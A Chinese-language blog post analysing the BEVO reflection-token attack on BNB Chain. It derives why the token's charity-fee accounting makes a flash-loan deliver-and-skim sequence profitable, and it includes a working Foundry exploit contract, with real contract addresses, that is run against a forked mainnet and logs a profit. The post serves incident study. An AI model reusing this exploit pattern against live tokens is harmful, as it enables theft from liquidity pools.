【漏洞分析】ReflectionToken BEVO代幣攻擊事件分析及復(fù)現(xiàn)
前言
BEVO代幣是一種Reflection Token(反射型代幣),并且擁有通縮的特性。關(guān)于Reflection Token更為詳細(xì)的說(shuō)明可參考這篇文章。然后目前瀏覽到的很多分析報(bào)告沒(méi)有指出其漏洞產(chǎn)生的真正原因,所以就自己試著去做一下分析吧。
總結(jié)性的分析思路可以參考這篇文章:Reflection Token 反射型代幣攻擊事件通用分析思路
相關(guān)信息
- 攻擊交易:https://explorer.phalcon.xyz/tx/bsc/0xb97502d3976322714c828a890857e776f25c79f187a32e2d548dda1c315d2a7d
- BEVO合約地址:https://bscscan.com/token/0xc6cb12df4520b7bf83f64c79c585b8462e18b6aa
- FeeAddress地址:https://bscscan.com/address/0x473141b6f5e33dd90bd653940a854b58e83451db
- FeeAddress地址通過(guò)Pair用BEVO兌換WBNB:https://bscscan.com/tx/0xc38c290d9139b2f30fbf65666854e09fdc0efe6368c810d4863b3031c93ebc37
攻擊過(guò)程分析

整個(gè)攻擊過(guò)程很簡(jiǎn)單:
- 首先閃電貸借出大量的WBNB
- 通過(guò)池子換出大量BEVO
- 調(diào)用deliver函數(shù)消耗所有的BEVO
- 調(diào)用skim函數(shù),獲得比在deliver函數(shù)中所消耗的更多的BEVO
- 調(diào)用swap函數(shù)獲得超額的WBNB
每一步都是正常的操作,但是最后的結(jié)果就是攻擊者成功獲利了。背后漏洞的成因還有點(diǎn)繞,接下來(lái)詳細(xì)分析。
函數(shù)流程對(duì)比
由于BEVOToken是基于ReflectionToken進(jìn)行修改的版本,而原版的反射代幣執(zhí)行這個(gè)簡(jiǎn)單的deliver+skim操作是安全的。那么我們將原版的ReflectionToken與魔改后的BEVOToken的_transferStandard函數(shù)進(jìn)行一個(gè)對(duì)比(該函數(shù)在transfer的過(guò)程中要用到)。
REFLECT.sol(Original)
_transferStandard 流程
- 通過(guò)_getValues函數(shù),基于tAmount計(jì)算出所有后續(xù)要用到的tAmount和rAmount,包括Fee和TransferAmount
- 登記rTransferAmount的轉(zhuǎn)賬:sender賬戶減少,recipient賬戶增加。
- 然后將Fee燃燒掉:從rTotal中減去rFee
CoinToken.sol(BEVO)
_transferStandard 流程
- 通過(guò)_getValues函數(shù),基于tAmount計(jì)算出所有后續(xù)要用到的tAmount和rAmount,包括Fee,Burn,Charity和TransferAmount
- 通過(guò)_standardTransferContent函數(shù),登記rTransferAmount的轉(zhuǎn)賬:sender賬戶減少,recipient賬戶增加。
- 調(diào)用_sendToCharity函數(shù),將Charity值增加到FeeAddress賬戶中。
- 調(diào)用_reflectFee函數(shù),從rTotal中減去rCharity,rFee,rBurn。從tTotal中減去tBurn。
BEVO機(jī)制漏洞
盈利的條件
先來(lái)了解一個(gè)前置條件,假設(shè)不收取任何費(fèi)用的情況下,要通過(guò)deliver+skim這兩個(gè)操作進(jìn)行盈利,則需要要求skim得到的rAmount大于deliver掉的rAmount值。表示為rSkim > rDeliver。
公式推導(dǎo)為:
- [1]
rPair = tPair * (rTotal / tTotal) - deliver操作
- [2]
rPair2 = tPair * (rTotal - rDeliver) / tTotal - [3]
rSkim = rPair2 - rPair - 若要求[4]
rSkim > rDeliver,將公式1,2,3代入公式4 - 得[5]
rDeliver > rTotal - rPair
而正常情況下,rTotal作為所有rAmount值的總和,自然可得rTotal >= rDeliver + rPair,調(diào)整后得[6]rDeliver <= rTotal - rPair。顯然,公式5中的條件并不能滿足,無(wú)法實(shí)現(xiàn)通過(guò)deliver+skim這兩個(gè)操作進(jìn)行盈利的目的。
那究竟發(fā)生了什么,打破了這種安全的場(chǎng)景。
奇怪的計(jì)算
在函數(shù)流程對(duì)比這一章節(jié)中有提到,BEVO調(diào)用_transferStandard轉(zhuǎn)賬的時(shí)候,會(huì)收取一個(gè)叫Charity的費(fèi)用(1%)。收取這個(gè)費(fèi)用的時(shí)候會(huì)將rCharity和tCharity增加到FeeAddress賬戶中,并且從rTotal中減去rCharity。
這里就出現(xiàn)了問(wèn)題:
- 如果BEVO只是將rCharity從rTotal中減去,則效果類似于deliver和Fee的燃燒。
- 如果BEVO只是將rCharity和tCharity增加到FeeAddress賬戶中,則效果類似于轉(zhuǎn)賬。
但是它既將rCharity從rTotal中減去,又將rCharity和tCharity增加到FeeAddress賬戶中,這使得從rTotal的數(shù)值是不包括rAmount[FeeAddress]的,而FeeAddress地址上確實(shí)存在有一筆rAmount。這就有點(diǎn)像一筆本該銷毀的資金,被FeeAddress偷偷藏了起來(lái),這筆資金從rTotal賬面上來(lái)看是銷毀了,但是卻被FeeAddress揣在了口袋里。
然后,如果這筆資金凍結(jié)在FeeAddress地址中不再流轉(zhuǎn),那么也不會(huì)對(duì)整個(gè)經(jīng)濟(jì)模型進(jìn)行影響(就相當(dāng)于deliver了)。但是,FeeAddress會(huì)用它手中的BEVO從Pair里兌換WBNB。這就使得了這筆不在rTotal范圍內(nèi)的資金流入了Pair地址中。
這會(huì)造成什么影響?
漏洞的成因
前面提到,F(xiàn)eeAddress會(huì)用它手中不合規(guī)的BEVO從Pair里兌換WBNB,從而使這筆不在rTotal范圍內(nèi)的資金rFeeAddress流入了Pair地址中。此時(shí),將Pair池中的rAmount從新定義為[7]rPair2 = rPair + rFeeAddress。
這筆不在rTotal累加范圍內(nèi)的資金加入,使得代表盈利條件的公式5能夠?qū)崿F(xiàn),由rDeliver > rTotal - rPair2,將公式7代入后調(diào)整可得[8]rDeliver + rFeeAddress > rTotal - rPair。
所以,攻擊者首先借助閃電貸借出大量的BEVO代幣,通過(guò)deliver操作,使得Pair中屬于rFeeAddress的那部分的代幣份額增大,從而執(zhí)行skim操作的時(shí)候就能拿到超額的BEVO代幣。最后歸還閃電貸跑路。
漏洞復(fù)現(xiàn)
這個(gè)攻擊流程并不復(fù)雜,所以動(dòng)手復(fù)現(xiàn)一下,現(xiàn)學(xué)的Foundry可能寫(xiě)得有點(diǎn)粗糙。接口文件就不一一貼出了,只貼主要的測(cè)試文件。
pragma solidity ^0.8.17;
import "forge-std/Test.sol";
import "../src/CoinToken.sol";
import "../src/interface/IWBNB.sol";
import "../src/interface/IPancakeRouter.sol";
import "../src/interface/IPancakePair.sol";
contract AttackTest is Test {
CoinToken public bevo = CoinToken(0xc6Cb12df4520B7Bf83f64C79c585b8462e18B6Aa);
IWBNB public wbnb = IWBNB(payable(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c));
IPancakeRouter02 public pancakeRouter = IPancakeRouter02(0x10ED43C718714eb63d5aA57B78B54704E256024E);
PancakePair public pairWBNBUSDC = PancakePair(0xd99c7F6C65857AC913a8f880A4cb84032AB2FC5b);
PancakePair public pairWBNBADU = PancakePair(0xA6eB184a4b8881C0a4F7F12bBF682FD31De7a633);
function setUp() public{
// Fork BSC Chain, Block high 25230702.
// Set your API key.
string memory MAINNET_RPC_URL = "https://bsc-mainnet.nodereal.io/v1/xxx";
uint256 forkId = vm.createFork(MAINNET_RPC_URL, 25230702);
vm.selectFork(forkId);
}
function testAttack() public {
// Approve maximum amount for WBNB.
wbnb.approve(address(pancakeRouter), 2 **256 - 1);
// Calling swap function, and "data" parameter is not empty.
pairWBNBUSDC.swap(0, 192500000000000000000, address(this), "1");
// Profit amount
require(wbnb.balanceOf(address(this)) > 0);
console.log("Profit:%d WBNB", wbnb.balanceOf(address(this)));
}
function pancakeCall(address sender, uint256 amount0Out, uint256 amount1Out, bytes calldata data) external{
// Make up the path which is from WBNB to BEVO.
address[] memory path = new address[](2);
path[0] = address(wbnb);
path[1] = address(bevo);
// Exchange all WBNB to BEVO.
pancakeRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens(
wbnb.balanceOf(address(this)),
0,
path,
address(this),
1675072425
);
// Deliver
bevo.deliver(bevo.balanceOf(address(this)));
// Skim
pairWBNBADU.skim(address(this));
// Deliver tiwce
bevo.deliver(bevo.balanceOf(address(this)));
// Exchange all BEVO to 337 WBNB.
pairWBNBADU.swap(337000000000000000000, 0, address(this), "");
// Repay the fashloan.
wbnb.transfer(address(pairWBNBUSDC), 193000000000000000000);
}
}
運(yùn)行結(jié)果:
Running 1 test for test/Attack.t.sol:AttackTest
[PASS] testAttack() (gas: 421646)
Logs:
Profit:144000000000000000000 WBNB
Test result: ok. 1 passed; 0 failed; finished in 627.79ms
后語(yǔ)
最近在學(xué)習(xí)ReflectionToken的相關(guān)內(nèi)容,了解到了BEVO代幣的安全事件,打算跟著網(wǎng)上的分析文章把細(xì)節(jié)摸清一下。但很可惜發(fā)現(xiàn)網(wǎng)上的分析文章都是淺嘗輒止,一副懂的都懂不懂的我也不多說(shuō)了的樣子,看到攻擊者deliver+skim獲利了就斷定是deliver導(dǎo)致rTotal減少,從而rate增大就獲得了套利機(jī)會(huì)(其實(shí)賺不了)。然后我按照文章中的思路計(jì)算了兩天死活就算不出來(lái)盈利(就讓我多吐槽幾句吧因?yàn)槲艺娴氖炙懔撕枚囗?yè)紙硬是沒(méi)算出來(lái))。所以自己摸索著搞了一份分析,因?yàn)樾±系芤彩窃趯W(xué)習(xí)的過(guò)程中,所以文章有可能有錯(cuò)的地方,還請(qǐng)各位師傅多多指點(diǎn)。感謝閱讀!
下面就是反面教材環(huán)節(jié):




浙公網(wǎng)安備 33010602011771號(hào)